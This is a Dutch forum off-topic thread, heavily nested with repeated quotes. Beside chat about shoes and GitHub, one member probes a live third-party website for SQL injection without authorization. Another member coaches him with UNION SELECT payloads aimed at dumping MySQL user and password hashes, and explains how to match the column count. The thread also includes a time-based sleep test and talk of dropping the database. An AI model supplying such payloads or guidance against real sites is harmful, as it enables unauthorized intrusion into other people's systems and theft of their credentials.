Offtopic Topic #68 - de Caner editie

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Eerdere citaten tonen

Raoul schreef:

dat moment dat github down is voor 15 minuten

heel twitter in rep en roer

zit op ubuntu trouwens, en mis windows
windows missen
toevoeging op 21 maart 2015, 14:43:07:

Eerdere citaten tonen

Stef schreef:

Oeh ik heb een site gevonden waar ik misschien SQL injection kan doen index.php?catid=3&id=3 < ik kan de 3 vervangen door " en dan krijg ik error:

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " AND subcategory.id >0 at line 1

Is dat dan SQL injection?

soms, niet altijd.
Een " invoeren zegt vrij weinig.

Ik deed net iets met sleep 25 en toen bleef ie 25sec laden. Is het dan wel sql injection?
"Ik deed net iets met sleep"
Je hebt serieus op internet gekeken naar dingen die je in zon url kan stoppen?

Jessee schreef:

Eerdere citaten tonen

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Eerdere citaten tonen

Raoul schreef:

dat moment dat github down is voor 15 minuten

heel twitter in rep en roer

zit op ubuntu trouwens, en mis windows
windows missen
toevoeging op 21 maart 2015, 14:43:07:

Eerdere citaten tonen

Stef schreef:

Oeh ik heb een site gevonden waar ik misschien SQL injection kan doen index.php?catid=3&id=3 < ik kan de 3 vervangen door " en dan krijg ik error:

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " AND subcategory.id >0 at line 1

Is dat dan SQL injection?

soms, niet altijd.
Een " invoeren zegt vrij weinig.

Ik deed net iets met sleep 25 en toen bleef ie 25sec laden. Is het dan wel sql injection?

"Ik deed net iets met sleep"
Je hebt serieus op internet gekeken naar dingen die je in zon url kan stoppen?
Hoe deed jij het dan vroeger toen je nog niks wist? Alles uit je hoofd?

Jessee schreef:

Eerdere citaten tonen

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Eerdere citaten tonen

Raoul schreef:

dat moment dat github down is voor 15 minuten

heel twitter in rep en roer

zit op ubuntu trouwens, en mis windows
windows missen
toevoeging op 21 maart 2015, 14:43:07:

Eerdere citaten tonen

Stef schreef:

Oeh ik heb een site gevonden waar ik misschien SQL injection kan doen index.php?catid=3&id=3 < ik kan de 3 vervangen door " en dan krijg ik error:

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " AND subcategory.id >0 at line 1

Is dat dan SQL injection?

soms, niet altijd.
Een " invoeren zegt vrij weinig.

Ik deed net iets met sleep 25 en toen bleef ie 25sec laden. Is het dan wel sql injection?

"Ik deed net iets met sleep"
Je hebt serieus op internet gekeken naar dingen die je in zon url kan stoppen?
Ja Ik heb allemaal geen verstand van dat soort dingen he http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Die dingen allemaal
toevoeging op 21 maart 2015, 16:07:13:
Veel werken er alleen niet

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Eerdere citaten tonen

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Eerdere citaten tonen

Raoul schreef:

dat moment dat github down is voor 15 minuten

heel twitter in rep en roer

zit op ubuntu trouwens, en mis windows
windows missen
toevoeging op 21 maart 2015, 14:43:07:

Eerdere citaten tonen

Stef schreef:

Oeh ik heb een site gevonden waar ik misschien SQL injection kan doen index.php?catid=3&id=3 < ik kan de 3 vervangen door " en dan krijg ik error:

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " AND subcategory.id >0 at line 1

Is dat dan SQL injection?

soms, niet altijd.
Een " invoeren zegt vrij weinig.

Ik deed net iets met sleep 25 en toen bleef ie 25sec laden. Is het dan wel sql injection?

"Ik deed net iets met sleep"
Je hebt serieus op internet gekeken naar dingen die je in zon url kan stoppen?

Ja Ik heb allemaal geen verstand van dat soort dingen he http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Die dingen allemaal
toevoeging op 21 maart 2015, 16:07:13:
Veel werken er alleen niet
Ligt ook aan welke server en welke server versie er gerund wordt.
En soms heb je een sql injectie in een query uitgevoerd door een root user, die kan meer dan een query die uitgevoerd wordt door een user met beperkte rechten
toevoeging op 21 maart 2015, 1640:
Daarom eigenlijk ook nooit root gebruiken op een server.
Ook niet om je website / webserver op te draaien, als er een exploit is dan kan iemand je hele server overnemen omdat hij toch al root is.

Aan de andere kant ook wel scheef, aangezien het luisteren op poort 80 root rechten nodig heeft

Jessee schreef:

Eerdere citaten tonen

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Eerdere citaten tonen

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Eerdere citaten tonen

Raoul schreef:

dat moment dat github down is voor 15 minuten

heel twitter in rep en roer

zit op ubuntu trouwens, en mis windows
windows missen
toevoeging op 21 maart 2015, 14:43:07:

Eerdere citaten tonen

Stef schreef:

Oeh ik heb een site gevonden waar ik misschien SQL injection kan doen index.php?catid=3&id=3 < ik kan de 3 vervangen door " en dan krijg ik error:

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " AND subcategory.id >0 at line 1

Is dat dan SQL injection?

soms, niet altijd.
Een " invoeren zegt vrij weinig.

Ik deed net iets met sleep 25 en toen bleef ie 25sec laden. Is het dan wel sql injection?

"Ik deed net iets met sleep"
Je hebt serieus op internet gekeken naar dingen die je in zon url kan stoppen?

Ja Ik heb allemaal geen verstand van dat soort dingen he http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Die dingen allemaal
toevoeging op 21 maart 2015, 16:07:13:
Veel werken er alleen niet

Ligt ook aan welke server en welke server versie er gerund wordt.
En soms heb je een sql injectie in een query uitgevoerd door een root user, die kan meer dan een query die uitgevoerd wordt door een user met beperkte rechten
toevoeging op 21 maart 2015, 1640:
Daarom eigenlijk ook nooit root gebruiken op een server.
Ook niet om je website / webserver op te draaien, als er een exploit is dan kan iemand je hele server overnemen omdat hij toch al root is.

Aan de andere kant ook wel scheef, aangezien het luisteren op poort 80 root rechten nodig heeft
Maar ik krijg bijvoorbeeld heel vaak deze error:

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near SELECT host, user, password FROM mysql.user; "" priv at line 1

Maar ik ben gewoon niet geschikt als hekker denk ik dan

Vervang "” is door --

Jessee schreef:

Vervang "” is door --

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near SELECT host, user, password FROM mysql.user; -- priv at line 1

Ik denk dat ik het gewoon verkeerd invoer:

Quote:
http://www.website.nl/index.php?catid=SELECT%20host,%20user,%20password%20FROM%20mysql.user;%20--%20priv

Maar jolo ik zeg gewoon dat de site onveilig is en de rest mogen ze zelf uitzoeken

Jurgen schreef:

Eerdere citaten tonen

Jelle schreef:

Eerdere citaten tonen

Lennard schreef:

Eerdere citaten tonen

Jelle schreef:

Eerdere citaten tonen

Lennard schreef:

Eerdere citaten tonen

Jelle schreef:

Fuuu, ik mag de vans met katten niet van mijn mama

welke?

Ongeveer deze maar dan net ietsjes anders
Afbeelding

Maar nu heb ik dus alweer geen nieuwe schoenen
toevoeging op 21 maart 2015, 15:21:32:
En ik wou dit tshirt kopen maar beetje duur

Spoiler tonen

Afbeelding

Eigenlijk waren ze alle 4 wel baas Afbeelding

jemig

Lijkt me positief ?? Mijn moeder zegt dat jongens zoiets toch niet aan doen kan toch makkelijk of niet?

Je moeder heeft wel gelijk denk ik. Alleen als je geen aandacht van vrouwmenschen meer wilt krijgen, kun je ze natuurlijk wel aantrekken!

Nouja, veel zal er dan niet veranderen

Jurgen schreef:

Eerdere citaten tonen

Jelle schreef:

Eerdere citaten tonen

Lennard schreef:

Eerdere citaten tonen

Jelle schreef:

Eerdere citaten tonen

Lennard schreef:

Eerdere citaten tonen

Jelle schreef:

Fuuu, ik mag de vans met katten niet van mijn mama

welke?

Ongeveer deze maar dan net ietsjes anders
Afbeelding

Maar nu heb ik dus alweer geen nieuwe schoenen
toevoeging op 21 maart 2015, 15:21:32:
En ik wou dit tshirt kopen maar beetje duur

Spoiler tonen

Afbeelding

Eigenlijk waren ze alle 4 wel baas Afbeelding

jemig

Lijkt me positief ?? Mijn moeder zegt dat jongens zoiets toch niet aan doen kan toch makkelijk of niet?

Je moeder heeft wel gelijk denk ik. Alleen als je geen aandacht van vrouwmenschen meer wilt krijgen, kun je ze natuurlijk wel aantrekken!

Ik ken iemand en die doet iedere dag Uggs aan naar het kickboksen

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Vervang "” is door --

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near SELECT host, user, password FROM mysql.user; -- priv at line 1

Ik denk dat ik het gewoon verkeerd invoer:

Quote:
http://www.website.nl/index.php?catid=SELECT%20host,%20user,%20password%20FROM%20mysql.user;%20--%20priv

Maar jolo ik zeg gewoon dat de site onveilig is en de rest mogen ze zelf uitzoeken

-1 UNION SELECT%20host,%20user,%20password%20FROM%20mysql.user;%20--%20priv
-1" UNION SELECT%20host,%20user,%20password%20FROM%20mysql.user;%20--%20priv

Na union kan je een nieuwe query uitvoeren.

Jessee schreef:

Eerdere citaten tonen

Stef schreef:

Eerdere citaten tonen

Jessee schreef:

Vervang "” is door --

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near SELECT host, user, password FROM mysql.user; -- priv at line 1

Ik denk dat ik het gewoon verkeerd invoer:

Quote:
http://www.website.nl/index.php?catid=SELECT%20host,%20user,%20password%20FROM%20mysql.user;%20--%20priv

Maar jolo ik zeg gewoon dat de site onveilig is en de rest mogen ze zelf uitzoeken

-1 UNION SELECT%20host,%20user,%20password%20FROM%20mysql.user;%20--%20priv
-1" UNION SELECT%20host,%20user,%20password%20FROM%20mysql.user;%20--%20priv

Na union kan je een nieuwe query uitvoeren.

Oh ja cool
Quote:
SELECT command denied to user dutcha01@localhost for table user

Zo te zien gebruiken ze dus geen root inderdaad Dus waarschijnlijk zou ik toch niet de database kunenn droppen?

Ligt eraan of zij de user dutcha01 rechten hebben gegeven om een DROP query uit te voeren

Ik zou denken van niet dan.
Bij veel querys krijg ik dit:

Quote:
The used SELECT statements have a different number of columns

Wat is het toch kut werk om netwerk kabels aan te sluiten, en knippen, patchen

UNION moet een gelijk aantal kolommen hebben.
Stel de query op de site is

SELECT name, password, email, trol, olol, lolol FROM tabel WHERE id = $_GET[id]
Dan kan je niet
-1 UNION SELECT column FROM tabel
doen
Dan moet je
-1 UNION SELECT column, 2, 3, 4, 5, 6 FROM tabel
doen Die 2 t/m 6 doen verder vrij weinig. Maar het zorgt er wel voor dat je een gelijk aantal columns hebt.